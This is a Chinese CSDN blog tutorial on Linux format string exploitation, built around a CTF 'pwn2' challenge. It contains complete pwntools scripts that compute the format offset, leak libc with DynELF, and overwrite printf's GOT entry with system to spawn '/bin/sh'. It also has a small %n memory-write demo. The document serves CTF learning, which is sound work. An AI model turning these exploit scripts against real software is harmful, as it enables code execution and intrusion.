linux获取字符格式化,Linux 格式化字符串漏洞利用

本文详细介绍了格式化字符串漏洞,包括其产生条件、内存读写原理,以及如何通过漏洞进行内存泄漏和写入。文章通过实例分析,展示了在64位环境下利用格式化字符串漏洞进行内存操作的方法,并提供了利用 DynELF 泄露内存和修改内存的技巧。此外,还分享了如何在实际程序中找到漏洞并进行利用。
摘要由CSDN通过智能技术生成

目的是接觸一些常見的漏洞,增加自己的視野。格式化字符串危害最大的就兩點,一點是leak memory,一點就是可以在內存中寫入數據,簡單來說就是格式化字符串可以進行內存地址的讀寫。下面結合着自己的學習經歷,把漏洞詳細的講解一下,附上大量的實例。

0x01 漏洞簡述

0x1 簡介

格式化字符串漏洞是一種常見的漏洞,原理和利用方法也很簡單,主要利用方式就是實現內存任意讀和寫。前提是其中的參數可控。如果要深入理解漏洞必須進行大量的實驗。

0x2 產生條件

首先要有一個函數,比如read, 比如gets獲取用戶輸入的數據儲存到局部變量中,然后直接把該變量作為printf這類函數的第一個參數值,一般是循環執行

0x02 內存讀取

這是泄露內存的過程

0x1 printf 參數格式

這部分來自icemakr的博客

32位

'%{}$x'.format(index) // 讀4個字節

'%{}$p'.format(index) // 同上面

'${}$s'.format(index)

'%{}$n'.format(index) // 解引用,寫入四個字節

'%{}$hn'.format(index) // 解引用,寫入兩個字節

'%{}$hhn'.format(index) // 解引用,寫入一個字節

'%{}$lln'.format(index) // 解引用,寫入八個字節

64位

'%{}$x'.format(index, num) // 讀4個字節

'%{}$lx'.format(index, num) // 讀8個字節

'%{}$p'.format(index) // 讀8個字節

'${}$s'.format(index)

'%{}$n'.format(index) // 解引用,寫入四個字節

'%{}$hn'.format(index) // 解引用,寫入兩個字節

'%{}$hhn'.format(index) // 解引用,寫入一個字節

'%{}$lln'.format(index) // 解引用,寫入八個字節

%1$lx: RSI

%2$lx: RDX

%3$lx: RCX

%4$lx: R8

%5$lx: R9

%6$lx: 棧上的第一個QWORD

0x2 堆棧情況

414567e6d27e9b0c4249ede695913ad5.png

當printf("%s%d%d%d")后面沒有參數時,會打印后面的堆棧值。如果有read等函數,內存值可控,就可以實現內存任意讀、任意寫。

在64位環境下的格式化字符串利用又是另一回事,在這里稍微的提一下,以免其他同學在走錯道

程序為64位,在64位下,函數前6個參數依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中(也就是說,若使用”x$”,當1<=x<=6時,指向的應該依次是上述這6個寄存器中保存的數值),而從第7個參數開始,依然會保存在棧中。故若使用”x$”,則從x=7開始,我們就可以指向棧中數據了。

0x3 實例分析

這里選用廣東省紅帽杯的pwn2來具體說明。

首先看一下IDA反匯編代碼

while ( 1 )

{

memset(&v2, 0, 0x400u);

read(0, &v2, 0x400u);

printf((const char *)&v2);

fflush(stdout);

}

我們發現了read函數,printf函數標准的格式化字符串漏洞。

1計算參數偏移個數

這里有兩種方式

(1) gdb調試

在printf之前設置斷點,0x0804852E

97b3e2fc5cef99c1bc7c92ba9cfe6995.png

單步進入sprintf函數中,查看堆棧值

ae67b5c5f4fb5dc44498b9aaa7536a13.png

我們發現了我們可控的內存距離sprintf之間的距離為7

(2) 利用pwntools計算

利用FmStr函數計算

from pwn import *

# coding:utf-8

# io = process('./pwn2')

# io =remote('106.75.93.221', 20003)

elf = ELF('./pwn2')

def test(payload):

io = process('./pwn2')

io.sendline(payload)

info = io.recv()

io.close

return info

autofmt = FmtStr(test)

print autofmt.offset

2利用DynELF實現內存泄露

在這里我先介紹一下DynELF泄露內存的原理,采用這篇博客里寫的

我們應該怎么才能根據已知的函數地址來得到目標函數地址,需要有一下條件

1.我們擁有從Linux發型以來所有版本的 libc 文件

2.我們已知至少兩個函數函數在目標主機中的真實地址

那么我們是不是可以用第二個條件去推測目標主機的 libc 版本呢 ?

我們來進行進一步的分析 :

關於條件二 :

這里我們可以注意到 : printf 是可以被我們循環調用的

因此可以進行連續的內存泄露

我們可以將多個 got 表中的函數地址泄露出來 ,

我們這樣就可以的至少兩個函數的地址 , 條件二滿足

關於條件一 :

哈哈~對了 , 這么有誘惑力的事情一定已經有人做過了 , 這里給出一個網站 : http://libcdb.com/ , 大名鼎鼎 pwntools 中的 DynELF 就是根據這個原理運作的

兩個條件都滿足 , 根據這些函數之間的偏移去篩選出 libc 的版本

這樣我們就相當於得到了目標服務器的 libc 文件 , 達到了同樣的效果

以上是原理,其實說白了就是要利用能夠打印指定內存的函數

#coding:utf-8

from pwn import *

sh = process('./pwn2')

elf = ELF('./pwn2')

#計算偏移

def test(payload):

temp = process('./pwn2')

temp.sendline(payload)

info = temp.recv()

temp.close()

return info

auto = FmtStr(test)

print auto.offset

#泄露內存 因為函數本來可以循環執行所以不用rop鏈閉合

def leak(addr):

payload = 'A%9$s'#這里需要注意一下 為了精確泄露內存用字符定下位

payload += 'AAA'

payload += p32(addr)

sh.sendline(payload)

sh.recvuntil('A')

content = sh.recvuntil('AAA')

# content = sh.recv(4)

print content

if(len(content) == 3):

print '[*] NULL'

return '\x00'

else:

print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex'))

print len(content)

return content[0:-3]

#-------- leak system

d = DynELF(leak, elf=ELF('./pwn2'))

system_addr = d.lookup('system','libc')#意思是在libc中尋找system地址

log.info('system_addr:' + hex(system_addr))

0x03 內存寫入

首先分析一個簡單點的程序

#include

int main() {

int flag=5 ;

int *p = &flag;

char a[100];

scanf("%s",a);

printf(a);

if(flag == 2000)

{

printf("good\n" );

}

return 0;

}

利用gdb調試一下,在printf處設斷點。查看一下堆棧的狀況

414aaa83f98d9502890d5da17eb0380d.png

發現偏移為5 於是構造%010x%010x%010x%01970x%n

87865b07cb1efdd8fa3cdb3ddb1fe78b.png

這里只是對於flag內存的修改,並沒有達到任意修改的效果,任意修改需要計算偏移利用寫好內存地址,利用%n直接修改。下面繼續pwn2的講解

在pwntools中有現成的函數可以使用fmtstr_payload可以實現修改任意內存

fmtstr_payload(auto.offset, {printf_got: system_addr})(偏移,{原地址:目的地址})

from pwn import *

sh = process('./pwn2')

elf = ELF('./pwn2')

def test(payload):

temp = process('./pwn2')

temp.sendline(payload)

info = temp.recv()

temp.close()

return info

auto = FmtStr(test)

print auto.offset

def leak(addr):

payload = 'A%9$s'

payload += 'AAA'

payload += p32(addr)

sh.sendline(payload)

sh.recvuntil('A')

content = sh.recvuntil('AAA')

# content = sh.recv(4)

print content

if(len(content) == 3):

print '[*] NULL'

return '\x00'

else:

print '[*] %#x ---> %s' % (addr, (content[0:-3] or '').encode('hex'))

print len(content)

return content[0:-3]

#-------- leak system

d = DynELF(leak, elf=ELF('./pwn2'))

system_addr = d.lookup('system','libc')

log.info('system_addr:' + hex(system_addr))

#-------- change GOT

printf_got = elf.got['printf']

log.info(hex(printf_got))

payload = fmtstr_payload(auto.offset, {printf_got: system_addr})

sh.sendline(payload)

payload = '/bin/sh\x00'

sh.sendline(payload)

sh.interactive()

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值